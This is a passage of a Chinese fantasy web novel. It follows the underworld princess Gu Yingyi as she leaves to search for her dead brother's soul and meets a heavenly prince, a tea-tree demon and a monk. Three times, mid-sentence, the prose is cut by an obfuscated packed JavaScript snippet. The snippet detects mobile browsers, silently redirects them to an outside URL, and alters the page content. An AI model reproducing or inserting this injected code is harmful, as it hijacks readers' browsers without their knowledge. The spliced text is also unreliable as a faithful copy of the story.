“父帝差人为宫主保驾护航,也是为了宫主的安危,宫主怎么那么执拗,一个人去做这件事,危险重重,宫主岂能容易成功?” 谷盈一本来就在气头上,听到他诅咒自己不能成功,更愤怒了: “别叫我宫主!你我非亲非故,我地府的事你管得着吗?别搁这咸吃萝卜淡操心了!何况上仙多有谋略,智比孔明,掺和我一介小女子的事,岂非大材小用了?” 南天门镇守之神闻言,拔剑出鞘,一道寒光而过,那刀刃就押在谷盈一的脖颈之上: “外臣不得冒犯殿下!” 罗刹当即与他们兵刃相见。 谷盈一召出两团紫火,一名罗刹从战斗中脱身,忙作劝诫道:“宫主不可。” “你起开!”谷盈一不听劝,运转灵力,召出五团火,忽明忽灭,她知道自己才承了天帝的恩情,获得了锁魂袋,不好在天庭生事,她眼神倔强地盯着“罪魁祸首”。 此时天界是秋季时节,天上的风比人间更加萧索,把她衣衫都吹薄了,浮现出的骨骼节节分明,张择晓这才意识到,自从她哥哥亡世,短短几日,她暴瘦至此,这是怎样的万分难过啊!当时地府初见之时,她还颇为珠圆玉润,换上的衣服也是穿金丝镶嵌珍珠宝石,动起身来,头上的首饰也是叮当作响,整个人都很明媚像一朵硕大的高贵的牡丹花,今天浅色素衣而来,与上次初见截然不同的神貌。 张择晓皱眉,他不由自主地扶着心口,对南天门镇守神说道:“她是天界贵使,你们怎可如此放肆?速把刀剑放下!放下!” 谷盈一带着罗刹和鬼侍,头也不回得走了。 张择晓见她决绝的背影,不知怎么的,一个踉跄,“殿下!殿下!”门神急忙搀扶住他,张择晓失神: “本王怎么了?” 张择晓回到住处,越发失魂落魄,他又想起来不久前在灵霄宝殿,天帝开心得和他说,地府欲嫁小女儿给九弟,当时他一瞬间涌上的情绪,是什么?是隐隐的难过吗?直到南天门外,他才确定这种情绪。是难过。 九弟放诞不羁,野性难收,顽劣不堪,还总是爱逍遥人间,他怎么能配得上地府家的小女儿?谷盈一应该找一个如少主殿下般性情的良婿。张择晓自然不敢忤逆父帝的天威,不过,眼下顾不得那么多了,他必须阻止这件事。 张择晓是个极其耐得住性子的人,可今日的文书他一点也看不下去,他坐不住了,出门驾云来到月老宫。此时,月老正在和小仙童下棋。月老见到天帝之子大驾光临,连忙撂下旗子,起身相迎:“殿下光顾寒舍,所谓何事啊?” 张择晓作揖:“还请月老移驾后院一叙。” 月宫后院是粉云漫天的姻缘树,其中最大的一棵桃树,红丝绦垂地洋洋洒洒,专为神仙而设。 “三界婚嫁之事繁杂,缘分纠葛万千,月老却能处理得游刃有余,可见月老才能出众,当然,您的辛劳,本王都看在眼里了。” 月老微微一笑:“天界之事,小神之职,岂敢不上心。” “月老,小王有一事相求。你把我的桃木牌子拿出来,再把地府谷氏盈一的牌子拿出来,麻烦月老暂时先绑在一起,藏在树上最隐蔽的地方。”张择晓开门见山,并奉上黄金百两。 “殿下之令,小神岂敢不从?这事,包在小神身上了。只是殿下,仙界婚贴名册每月十五一核实,还得殿下暂等上两天。”月老乐呵呵得把黄金收下。 “月老向来持重,本王岂能信不过?不过此事还望你严守秘密。最近地府家出了事,宫主谷盈一伤心彻骨,如果此时让她谈婚论嫁,她必得来我天庭大闹一场。我身为天帝之子,自当维系三界安宁,所以,即使折损自己的名誉,也得等这阵风波过去再说。还请月老多多理解本王的不易之处。” “殿下深明大义,小神怎么会不领会您的一番苦心呢?小神久在天庭供职,其中的轻重缓急,还是分得清的。请殿下尽管安心。” 仙童走来,他捧过月老手中沉甸甸的盒子,打开看到是黄金,惊讶得欢呼起来:“冥帝才给三百两白银,还是殿下大方!” 月老摇头叹息,心里也挺无奈的:姻缘天定,更在人为,岂非是挂个牌子烧注香能决定的?世人痴迷,枉费银两,殊不知真心最难得,可虚妄之事连神仙都逃不脱,可悲可叹。此事蹊跷,连八殿下都牵扯其中了,怕是三界风波又起了。月老随即皱起眉头,自己还是收了这些想法吧,若是不小心招惹了天庭的上司,被贬就糟糕了,一把年纪了,还没和自己的工作和解,这就不称职了。 “不过,他们很奇怪,来求您的事是一样的,一件事,您收两份礼,不是太过分了吗?” “童子!切忌不可张扬。等为师有空了,偷偷带你溜下界去买冰糖葫芦!” “哇呼!那得买多少啊!大饱口福咯!”童子捧着盒子原地转圈。 月老乐得哈哈大笑,白胡子一抖一抖的。 谷氏盈一回到地府后,来到哥哥府邸,心痛难解,随即让令芾带领罗刹和鬼侍,一起来到黑桐岭。这里水流褪去,想必又请了火德仙君帮助,不然很难解释不到半月,土地竟然有些干裂。 谷盈一和他们一起拿铁犁耕理这百亩荒地,撒上彼岸花种,浇地狱阴寒之水,并在地头立上石碑,刻上销金隶书,命名为:“白卉岭”,并施法术,设立结界,让罗刹们也施法加强结界。 等她回到幽冥地府,门前的一段黄泉路上,张择晓等她许久。谷盈一低落的心情一扫而过,她说的话出口化为锋利的剑:“你来干什么?回到你天上去!” “宫主。本王奉命核实青芽村文书,路过地府,特意来讨盏水喝。区区微末的请求,还请宫主别拒绝我。” 谷盈一说:“黄河之水天上来,你天庭如此富足,哪里会差这点水喝?不给喝,你要执意要喝,去掬一捧黄泉泥水吧!” 谷盈一拿起挂在脖子里的骨哨,一吹,一声清绝悠长的响彻地府,霎时间,一头黑色的幼熊从天而降,激荡起层层沙土。谷盈一跨身骑上。 风沙漫天,张择晓步履不停,径直向黑熊走去。黑熊怒吼一声,前爪一趴,后肢蹬地,即使露出獠牙,目带凶光,也透着张牙舞爪的幼熊萌意。 尘土落地,周遭清净,他再次恳求而语气坚决:“宫主,说起来宫主不信,当年我出使西海,令兄曾邀我闲谈,说哪里的水不如地府的泉水清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615853|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冽甘甜。上次恰逢地府办案,不敢叨扰,如今斯人已逝,请宫主让我饮一杯泉水以慰藉心中的悲抑之情。” 谷盈一恍惚之间答应了他,她让黑熊回去,引张择晓来到地府中的一处泉水。 碳粉似的泉水从山上落下。谷盈一命人拿来银杯给他。 “宫主,这水是何味道?” “与天上人年的水没什么两样啊。” “宫主确定吗?这黑的怎似煤炭。” “不懂了吧?这只是幻术伪饰。我地府尚墨色,而我喜紫,这白泉看着就别扭,让我难受得不行,于是我就央求父亲,磨了好久,就变成现在这样了。不过,请聪明的上仙猜猜看,本宫主为什么要这样?” “是想恐吓人间作恶的魂魄吗?” “哼,宵小之辈何以费心?我地府有的是手段!我来告诉你吧,是用来膈应和尚的,就不给他们提供干干净净的水,让他们虚诈多疑,与我地府作对,真是狼子野心。你快喝,喝完就走吧,你知道的,我是看在哥哥的面子上才让你喝水的!下次,你就没有这么好的运气了!” 张择晓尝了一口,果然是甘洌无比:“多谢宫主赐水,今日的滴水之恩,将来必当涌泉相报。”说完,驾云而飞。 北阴酆都大帝在地府开设了祭坛,奉上猪羊、五谷和水果,祈祷先帝父亲和上天,希望保佑小女儿此行平安。 即使阴冥司来请,谷盈一并没有去。 谷盈一向来神经大条,她还不知道自己接受的是怎么的一份重任,其难度不比佛界前辈金蝉子西天取经轻易得多,人家有本事高强的徒弟护身,失去哥哥后,她谷盈一什么也没有,还拒绝了天庭的“好心”。不过初生牛犊不怕虎,谷盈一打算轻装上阵,只挂一金袋,其他的什么也不带,即刻出发,踏上寻找兄长魂魄的征程。 令芾拦住了她,“宫主,大帝知你如此,让你在此等侯他。” “好吧。我找哥哥着急,你让父亲快点。” “还请宫主耐心点。” 北阴酆都大帝带领罗刹和鬼吏前来,他眼里含着泪花,拉住女儿的手:“你这孩子真是狠心,都不和父亲告别。” “你看,干嘛搞得我也要哭了。我就该悄悄地走,省得我们父女都伤心!” “盈一啊,女行千里父担忧。你只有很小的时候去过人间,也没剩什么记忆了。人间百苦,甚是不易,父亲很担心你,你又什么也不为自己操心,没了哥哥的庇护,将来怎么让父亲放得了心呢。” “哎呀父亲别怕。就算拼了这条命,我也一定会把哥哥带回家!” “好女儿,鬼活着就是为了争这口气!”大帝让罗刹给谷盈一把东西拿上。包袱给她背上,水壶挎上,还准备了一袋子银子。 “这都什么啊?实在是——太太太太太沉了!父亲!我拿不了!真是的!哎呀烦死了!!” “盈一,最重要的是这个!”大帝把地图交到她手中,“我地府没有人间详备的地图,只有简单的勾勒,但对你也极有用处,钦天司,给宫主解释一番!” “是。” 原来他们奉大帝之命去人间观仰天象,以少主旧衣剪裁成九十九个旗子,插在沙地上,摆成八卦阵,焚香七日,每日亥时用柳枝沾水洒在旗子上,记录最后一面水干的旗子,比对星象,最终观测出了天上双星之相,落在地图上,有个大概的魂魄位置。 谷盈一听完,耷拉着脸,心里鄙夷:地府无日无月更无星,这钦天司是地府最废物的部门,连吉祥物都不算不上,不如早日把它撤了。 谷盈一不擅长煽情,拿起东西出了地府门,留下父亲和一堆鬼臣鬼吏望着她的背影而款款伤心。 5. 野生茶 地上此时正是酷暑时节,高悬的烈日灼灼而照,似乎要把人间烤成了一个巨大的蒸笼。 谷盈一抬头望天,她已经许久没有见到太阳了,还没个适应,果真和她想的一样,一下子热得不行,周身似乎冒出腾腾的热气,她拿起水壶,咕噜咕噜,一饮而尽,随手一扔,小水壶当即隐没在草丛中。 “哇,真爽!”谷盈一清凉多了之后拿出地图对照,眼前果然是三百里陆生芦苇的荒地,一年四季皆是枯黄泛白,又高又长,东西南北四个方向皆是如此,这是为了遮蔽地府四周。 哪怕谷盈一寻找兄长魂魄的心再坚决,也无法一个人走完这么炎热难忍又荒无人烟的路。她仰天长啸之后,吹起骨哨,召唤出坐骑黑熊,黑熊跑到她身边。 “葫芦,驼我过了这片荒草地。” 说完,黑熊驼着谷盈一一口气跑出了这三百里荒地。 谷盈一没有办法让这个黑熊跟着,即使它现在是头幼熊,但毕竟是妖兽,对凡人来说,也无不心生畏惧,而且,虽然有更便携的方式让葫芦跟在自己的身边,但是现在的谷盈一还是爱莫能助。所以谷盈一只能让它回到地府去, “葫芦,你先回地府,要好好修炼哦!将来可以好好保护我好不好?你要好好吃饭,快快长大,等我找到宝物,你就可以跟在我身边了,别太想主人喏,听话,回去。”黑熊扑拉着肉嘟嘟的爪子,嘤嘤生气,转头狂奔而回。 回望三百里荒草地,天色垂暮,路怏怏然,黄土漫卷,更无飞鸟踪迹,孤寂无措之感油然而生。 谷盈一收起低落的情绪,再往前走了几里土路,看到远处是丘陵地,满眼的绿色,种满了茶树。她的心情也焕然一新。此时已经天已经有了墨迹,前面有个小村庄,谷盈一决定去讨碗水喝。 村口立着石碑,名为青芽村。谷盈一手中凭空出现一张黄色的符纸,双指夹在手里,捻着口诀,“疾如风,瞬如影,移!” 深蓝的天空下,符纸被紫火烧得灰飞烟灭,她也一下子瞬移到了这个村落的最高处,是一家两层高的木阁楼,香火袅袅,供奉着一尊她叫不上名字的佛像。谷盈一四处眺望,看到到一家客栈,这是这个村的唯一客栈,又小又破败,跳下阁楼,来到客栈。 客栈的主人是一个风烛残年的老人家,谷盈一拿出一把银子,让他来一碗的绿茶汤,并把水壶装满茶水,道:“给本主……给本姑娘一间最好的住房,必须是最好的,姐不差钱。今晚本姑娘要留宿这里。” 老人家照做了。 晚上,谷盈一吹灭油灯,之后沉沉睡去。 半夜,窗子被轻轻吹开,吹来了带着茶香的清风。 平日里谷盈一睡觉比较沉,但今日她睡得浅,再怎么说她也是地府家来的,不是什么酒囊饭袋,谷盈一察觉到了一股幼稚的妖气。谷盈一当即起来,召出一团幽冥紫火附到油灯上,照亮整个房间,她手上变出阴阳镜,镜子里的金光捕捉到了藏在柜子后的一角残影。 谷盈一走过去,一把揪住它,它变成人形正是一个小男孩,“你是什么东西?半夜不睡来我房里做什么?” “求您别照我!我害怕!”小男孩哭哭啼啼得求饶。 “你这小厮,还给我装起可怜来了?姐可不吃你这一套,快点交代清楚,或许我大发善心,饶你一条小命呢。” “好吧,我是一个野生的茶树精,但我从来没有害过人,真的!这家客栈的主人是我的爷爷。” “你说谎!那老头身上根本没有妖气!再不说实话,我就杀了你!” “别别别,饶命啊。我说我说,您说爷爷身上没有妖气,那只是您没有察觉到~爷爷在村里经营多年,素有名望,也有人照拂,身上自然没有妖气。” “说重点好吗!你真的要找死吗?” “别生气,我只是个孩子,童言无忌。” “小鬼滑头!我真想把你扔进拔舌狱好好吃一吃苦头!你半夜鬼鬼祟祟的,找我到底什么事?快说,本姑娘还得睡觉呢。” “我知道您是地宫来的娘娘。求您帮帮我,我每天都在担忧自己的生命,苍天有眼,今天终于盼到您来了。” “你咋个认得我?”谷盈一瞪大了眼睛,把小茶树精松开,丢到了一角。 “此事说来话长,还请地宫娘娘容我仔细着说。”小茶树精就地而坐。 “且说。”谷盈一跳上床,盘膝而坐。 昨日,客栈来了一个戴着黑帽的人,帽子宽大,遮住了半张脸,他一来就坐到了最角落,当时店里只有他一个人,小茶树精跑过去,殷勤问他:“客人,吃点什么?” “什么也不吃。我来是告诉你,明天有一个带晋巾穿白流衣,腰缠紫绦的女贵人来此,她是地宫的娘娘,你忧心之事,或许可解。” “恩人,我该如何报答?”小茶树精磕头谢他。 “不需要你报答,此事我自有分说。只是你记得,她夜里睡得沉,你去吓她一下。” “小妖不敢这样冒犯……万一惹怒她,我的小命还能保得住吗……”小茶树精要哭了。 “无妨,让她长点记性。记住,此事你一人可知,勿要声张。” “小妖明白了。” 小茶树精拉住谷盈一的衣角,哀求她:“我都坦诚相待了,地宫娘娘可不能让第四个人知道啊。” “那你倒是说,让我帮你什么啊。你这小孩真是讨厌,我还有重要的事呢,没想到刚出家门,就被你缠上了。”谷盈一出来是找兄长魂魄的,可不是帮人办事的,但见他是个小孩,心一软,还是听听什么事吧。 “此事说来话更长了,还请……” “快说!”说实在话,谷盈一此时很困很不耐烦! 小茶树精说得还算清晰。几百年前,此地荒无人烟,到处是漫岭野生的茶树,它们集天地灵气日月精华,修炼成了茶树精,茶树精们划分田地,每新修炼一个茶妖,就地分个几亩地,它们引来泉水,浇灌茶树,化成人形的茶树精采摘茶叶,贩卖到远处的椒国。 大都好物不坚牢,彩云易散琉璃脆,直到来了一个法力强大的妖怪,它要占领这里的土地,开始杀死这里的茶树精,茶妖不乏有本事的,那妖怪打了几次,就落败而逃。等它再来时,茶妖们竟然自己瞬间枯萎而死。但这里毕竟是茶妖天然修炼的地方,每修炼一个人形,便离奇死去,得不到任何线索。后来那妖怪也没了。 “那这村子里的人哪来的?”谷盈一好奇。 “那根本不是人!” “又胡说!明明人的气息很重!” “因为他们都是奴隶,是从别国流放到这里的罪犯,把他们圈在这个村子里,让他们来这里采摘茶叶。” “没有工钱?” 小茶树精摇头。谷盈一听到这个消息勃然而怒,太过分了!在我们地府当差还有俸禄呢! “所以这里其实没法种植茶树,只能天然长成?然后茶树自己吸收日月精华而成妖?” “是这样的。娘娘听我接着说,那时,我家人口兴旺,我爷爷修炼成人形后,得到了一块地,我有三个伯伯,和两个叔叔,他们都有地,后来,妖怪来之后,他们一个个接连枯萎,我们的地全归了妖怪。爷爷年迈,把地给了爸爸,可到我时已经没有地可分了。” “所以他们是怎么枯萎而死的?” “爷爷说,我们妖兽的寿命在地府有书薄,还请地宫娘娘帮我看一看!小妖我不想哪一天突然就没了……”小茶树精嚎啕大哭。 谷盈一心中猜测:这里有佛院,而且妖兽寿元簿在地府佛家手里,最简单灭掉他们的方法,是从簿上划掉他们的名字,仅仅是为了几百亩茶叶?谷盈一觉得这简直不可能。她看了一眼哭泣的小妖怪,总不能说这妖兽寿元簿不在她手上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615854|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,谷盈一好面子,这也太丢人了,她只能连连答应:“你也别哭了,我差人帮你看,几日后再给你说。我困意汹涌,你先去睡。” 小茶树精道谢,并奉上银子:“地宫娘娘,您的钱给多了。”它跳出窗子跑了。 这下谷盈一睡不着了,她没理由管这事啊,为了一个素不相识的小妖怪?绝不可能。此事是否事关佛家也未可知,有佛院,可能说明这些奴隶信仰佛教,她现在可没有多余的圣母心了,也管不了地上的事。至于妖兽寿元簿,或许是这小妖怪故意引她的,她不想被别的事绊住了手脚,当务之急就是尽快找到兄长的魂魄,所以,明早她得偷偷离开此地。 再次熄灯入睡。可今晚谷盈一注定难眠。 从正门的框下涌入几条树枝,毒蛇般钻到谷盈一的床上,谷盈一当即起来,召唤出团团紫火,烧掉近身的树枝藤蔓,门口涌来的树枝越来越粗大,谷盈一变出一叠叠黄色纸符,捻起咒语,“菟丝菟丝生有时,附!” 数百张纸符飞出,定住了树藤,妖怪的法术太强大,很快纸符被撕碎。无奈,谷盈一只能放紫火来烧它。可火势已经很猛了,妖怪仿佛不怕地火的侵凌,周身没有一点损伤。 谷盈一非常纳闷:幽冥地火对神佛妖魔都有用,唯独对人无用,难道说这不是妖怪,而是附了鬼魂的人类?不对!本质还是妖,只怪她自己地火练得不够深厚! 正当谷盈一疑惑中,枝蔓甩地而起,抖落出的万千茶树叶子向她飞来。谷盈一用紫火竖起屏障抵挡,此时,只见白衣佛袈裟似旋风而来,一只九环银锡杖劈断茶树老妖的主干,妖怪迅速收回各枝而退。 “师兄?” “阿弥陀佛,谷氏盈一,数载未见,是否安好?”白衣和尚收起袈裟,负手而立。 此僧名为金漉,正是地藏王菩萨的亲传大弟子。 “你来这干嘛?” “奉师父之命,前来问罪此妖。” “我且问你,这青芽村是你们佛家管辖的吗?” 金漉和尚摇头:“盈一,去把油灯点开了,我要缚它来。” 说完,金漉拿出土瓷钵盂,倒上水,点燃一根香,就地盘腿而坐,袅袅青烟中,茶树枝蔓徐徐而来。 “不许伤害我爷爷!”小茶树精推开门跑了进来,一把推翻金漉和尚手里的钵盂,水洒了一地。 老茶妖的枝叶沾了水,一下子多了鲜活的生命力,他全身化作缠绕的巨木剑,以迅雷不及掩耳之势,刺向谷盈一。金漉把她拉开,而小茶树精挡在她前面,心脏被穿透,口喷鲜血。 老茶妖的人形身体躺在地上已死,谷盈一拿出阴阳镜去照逃走的妖魂,欲追出去,被金漉拦下。 “盈一!让它走吧。” “师兄!它要杀我,我岂能放它走?”谷盈一还是被金漉拦了回来。 小茶树精奄奄一息,看着地上的爷爷而绝望得哭:“爷爷……爷爷……” 谷盈一呆立在那里,她很愧疚,还没帮这孩子看他的寿命,他就要死了。 金漉说:“他不是你的爷爷,是一个死去的人,被那只妖怪附了身,你的爷爷早已被妖怪吸了法术,这只是其中一部分,此妖身上的法术杂糅。” 听了这话,小茶树精更绝望了,很快就死了,化作一个厚实的茶丸。谷盈一走过去,把茶丸放进金袋里,这金袋还没有装兄长的魂魄,倒是先装了一个素不相识的小妖怪。 “盈一,此事作罢,寻找少主魂魄之路凶险,今后让我来跟你。” “金师兄,这本是我地府的事情,你何必来插手?不过是个小打小闹的妖怪而已,我还死不了,你给我走!” “盈一,起码你得承认一点,那就是我与你们兄妹的关系还可以。” 谷盈一没再说话。 “给,你的水壶。” 谷盈一瞪了他一眼,悻悻离去。 6. 垚伯 东方既白,轻绡似的霞光披在山陵上,茶树层层叠叠,嫩绿的茶芽子如雪般点缀满了枝头。采茶工们皆穿着打补丁的粗布衣,背着竹篓,采摘茶叶。吹起的风里带着清甜的茶香,飘然的衣袖衣尾也浸满了茶香。 “如果没有那茶树妖,这还真是‘世外茶源''啊!”谷盈一陶醉其中。 “盈一,包袱太沉,给我吧。” “呵呵,你人还怪好嘞。”谷盈一白了他一眼,把包袱塞到了金漉的怀里。 谷盈一打开地图,看了一会说:“师兄,你看,是不是这个地方在闪青蓝色的光?” 金漉一看,果然有一些轻微的青蓝光在闪,那个地点正是三百里外的椒国。 “这一定是哥哥给我的讯息。” “走吧。” 越往前走,远远的山青葱层叠,似乎有凉透的风会吹来,可实际上天气变得越加湿热了,连衣服上都带有黏腻的水蒸气,黄鹂鸟扑腾着翅膀,蔫蔫得低飞着。 “不行了不行了。师兄,给我把碗拿出来。” “谷盈一,几百年了,你还这个样子,你说你还有救吗?”金漉抱怨着,还是把碗给了她。 “首先,我可没让你来,其次,我父王也没让你来,再者,地藏王也不一定让你来,你自己上赶着来,连这点小事都做不了,你还不如回去。” 谷盈一从水壶里倒了一碗茶汤,汤色微黄而碧绿,她一饮而尽,香气回荡在口中,入腹而清爽。 畅饮既毕,他们继续赶路。行至椒国地界,遥遥地便看到巍峨的城墙上镌刻着“方寸椒国”四个大字。谷盈一欣喜,拉着金漉加快了步子,可越走近,天上乌云遮蔽,落起绵绵的细雨来。 谷盈一从包袱里翻出油纸伞,“还好父亲想的周到,不然本姑娘就要成落汤鸡了。”她撑开开伞后,突然转头对着金漉狡黠一笑。 金漉早已看穿她的小算盘,从行囊里取出伞来,径直而前。 谷盈一在后面高声笑嚷着:“秃子打伞——无法无天!秃子打伞——无法无天!” 谷盈一实在是吵嚷个不停,不多久,金漉便换了斗笠。 城关空空荡荡的,并没有值守的兵丁,于是,他们穿城而入。一进城,处处都是喧嚷嬉闹的市井气派,与青芽山截然不同的景象。长街上,各种小贩婉转高扬的叫卖声,铺子上竖旗飘扬翻飞,各种瓜果杂货,一应俱全。 谷盈一跑过去,四处打转,买了一大袋子蜜饯和干果,金漉忙跟了上去,劝诫她:“盈一,等下天就要黑了,还下着雨,我们先找个地方歇脚。” 谷盈一和金漉和尚来到一家客栈,谷盈一收起油纸伞,金漉把斗笠摘掉,店伙计先端上两碗花椒汤上来: “客人,此地湿寒,先来点汤暖暖身子吧。” “你们店的拿手菜是什么?给本姑娘献上来!”谷盈一大手一挥,将一锭银子砸在桌子上。 “那当属我们的花椒鱼片了。” “这鱼,可是在环城河里捕的吗?”金漉问他。 “正是。客官,还有花椒,我们椒国最不缺的便是花椒,家家户户种有花椒,后山还有整片的椒山。” “这里一贯是种的花椒吗?咋这么多?不愧是叫椒国。”谷盈一非常好奇。 “已经几百年啦。自从我家祖辈迁移到这里,世代种花椒为生。” “哇,真是有趣,先划出一块地方种山茶,又划出一块地方种花椒,我地府周遭的布局竟然这么有趣,父亲真是英明伟大的帝君。你说是不是和尚?”谷盈一一边喝着汤一边笑盈盈地问金漉。 金漉笑而不语。 是日夜晚,风雨如晦。褥子冰凉,被衾冰凉,谷盈一翻来覆去的怎么也睡不着。于是她起身,在客栈里找出针黹盒,就着昏暗的豆油灯穿针引线。谷盈一不擅长女红,让她舞枪弄棒她还乐意,做这些细腻的针线活,可是一点也干不来。但是她竟然耐着性子,把蚕丝线穿进了细微的针孔里。谷盈一的针线功夫很差极了,绣了半天,粗笨的针脚才只绣出一瓣凹凸不平的白色彼岸花。 谷盈一喃喃自语:“哥哥。你还记得我们第一次见面吗?你为了哄我开心,给我做了一盏彼岸花灯,我现在还留着呢,我也希望你能在我身边。” 不少时,风雨来得更迅猛了,大大小小的树枝也被折断,歪七扭八得躺在地上。风吹开了谷盈一的窗子,雨水洒进来,这时的谷盈一已有困意,她把门窗关好,熄灯入睡。 两个黑影悄然而入,他们吹了一口气,迷晕了谷盈一,接着化作一阵黑色的旋风,卷挟着她而去。 当谷盈一醒来时,她被五花大绑扔在山洞里。 “它爹的!哪里来的妖怪,敢绑本主,赶紧报上你的名字!”谷盈一聚集灵气,幻化出一团紫焰,一瞬间就把麻绳烧成了灰烬。 她站起身来,四处走动,发现这山里有不少房屋,锅碗瓢盆等日用的器具样样俱全,一路来到大殿,看到大殿之上有一个偌大的铜制椅子,红棕色的帷幔似垂天而落。 谷盈一跳上去,双手作喇叭状,大声喊道:“有人吗?有人吗……”她心里百思不得其解:真奇怪,绑我来这个鬼地方,又看不到一个人影,这是要闹哪样? “再没人出现,我就放火烧了这里!”谷盈一召出一团紫火。 此时,山宫的后殿有人正急得山崩地裂。两个小鬼跪在地上,哭得一把鼻涕一把泪的:“大王,小的也不知道她是宫主啊,小的一直在山上伺候大王,从未见过宫主,也没个画像……” “本王只叫你们把宫主的金袋偷来,谁知道你们这俩竟是这等蠢货,你们把她绑来干啥啊?这下惹上大麻烦了!” “大王,不如我们趁宫主睡着,再把她送回去。” “你们可知道请佛容易送佛难!你们打听得来,这宫主素贪睡,才叫你们半夜去偷她的金袋。可宫主毕竟是个小女孩啊,她只要醒着就活蹦乱跳的,怎么给她送回去?万一不幸的是,晚上碰到夜游鬼巡逻,府君知道此事,我们彻底完蛋了!”说完一脚两脚把两个小鬼踢倒,痛得那俩小厮龇牙咧嘴的。 “垚伯,别生气。”一袭烟霞榴裙款款而来,头上的珠翠流苏叮当作响,她如玉胜雪的纤纤手臂挽上他的胳膊,双眸水波流转,语气温婉如雾。 “夫人,我让你失望了。金袋里竟没有少主的魂魄。不应该啊……宫主已过了青芽山,势力交错之地,怎么可能没有少主之魂!” “垚伯,我们母女得你庇护,已是莫大的幸运,我还能求什么呢!且放了宫主,再寻其他的法子罢。” “夫人,都依你的。” “来人,随我去拜见宫主大人!”垚伯大王带这一行人来到前殿。 垚伯一见到谷盈一,随即下跪,并双手奉上金袋赔罪:“宫主,多有得罪。” 谷盈一一摸衣服,才发现自己丢了金袋,谷盈一并不想让人看出自己的窘迫,她昂着头,用法术收回金袋,高坐在铜椅之上,问那大王:“你是什么人?你如何认得本宫主?” “回宫主,臣垚伯,当年随牛头大人捉拿方寸国的花椒女妖,后来女妖被镇于此山的深井之下,我又奉大帝之命,看守妖怪,已有百年之久。” “既然是我地府的人,为何偷本宫主的金袋?” “是我手下两个小鬼贪财,还请宫主大人饶恕!” “你可知道这金袋有多重要吗!若是这金袋有什么闪失,你担待得起吗!要是照以往,本宫主一定把这两个该死的小鬼投入十八层地狱,永世不入轮回!可眼下本宫主还有要紧的事,你先罚他们一年的俸禄,本宫主就不和你计较了,快点送我下山吧。” “一切都听宫主的吩咐。小臣劳累宫主到此,还请用膳之后再走吧。” “不必了。”谷盈一不放心,担心再节外生枝。 垚伯只好命几个小鬼送谷盈一下山。 回到客栈,金漉已经在等着她了,桌上的汤菜还冒着热气。 “盈一,你真的好贪睡!” “胡说!我只是做了一个很长的梦,梦到被绑到山上去了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615855|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“椒山?” “你怎么知道?” “这里不只有这一座山吗?日有所思,夜有所梦。” 谷盈一吃了两口,就拿出地图:“在图上,这个蕞尔小国还在发着光,可是哥哥的魂魄到底在哪里啊?真让人头疼!” “魂魄不易寻。不如我们出去转一转吧。” “行。” 谷盈一和金漉听这里的人说,椒国一年四季七八成时间都在下雨,连夏天的气温也不高,实属湿寒之地,可是这里以种植花椒为生,只有花椒成熟后的一两个月是晴天,趁有太阳时忙把花椒晒干。 说来也幸运,今天刚好是花椒成熟后的第一个晴天,路上,他们见两个老人背着一大袋花椒,身后跟着两个女儿,那大点的女儿一不小心摔倒,倒在谷盈一身边,谷盈一愤怒:“不看着点路吗!”,金漉致歉,就帮他们把花椒搬回家,老头子邀请他们来家里喝口水,歇息歇息。 这老头和老妇人带着女儿们上山采花椒,他们的花椒树不多,一个上午就采摘完了。 老两口用竹筛子过滤掉花椒籽,两个女儿去抖出花椒的杂叶子和枝梗,院子里满是花椒香气。 “这鬼天气你们不觉得奇怪吗?”谷盈一问她们。 “几百年几千年来都是这样,有什么奇怪的?” 金漉瞥谷盈一一眼,冷冷得轻声道:“地府向来没有日月,你不也没觉得奇怪?” “你回去吧好不好?”谷盈一白了他一眼,又对农户说:“我见书上说,一年有四季,农作物在秋季成熟,现在是什么时节了?” “我们这里没有什么时节,只懂得日出而作,日落而息。” 谷盈一觉得他们竟然敢这么冷淡,就去一旁抓花椒籽去了。 “我听说家家户户酿有花椒酒,是吗?”金漉问。 “可不是嘛,我爹娘身子骨不齐,也常靠这酒滋养着。”小女儿轻声作答。 “这酒哪里来的?”金漉追问。 “往东走三百里便是白堕国了,酒是从那里买来的,我们这里只种植花椒,不产酒的。”小女儿再次应答。 当晚,农户一家要留他们过夜。金漉拒绝,说要找个客栈住下,但谷盈一坚持说她寻找哥哥魂魄的路不易,农户家虽贫瘠,可自己不吃点苦头,怎么经得住以后的磨难呢? 金漉知道她无聊了,想与人谈话才住下来的,无奈之下,他只能在柴房打坐,背诵佛经。 午夜过后,谷盈一在两姐妹身边睡着了,她睡在草床的最边上。 